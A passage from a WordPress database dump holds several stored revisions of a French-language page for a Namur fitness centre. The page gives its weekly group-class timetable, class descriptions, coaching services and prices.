class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:07:15', '2014-01-18 19:07:15', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(417, 1, '2014-01-18 19:08:19', '2014-01-18 19:08:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:08:19', '2014-01-18 19:08:19', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(416, 1, '2014-01-18 19:07:48', '2014-01-18 19:07:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team 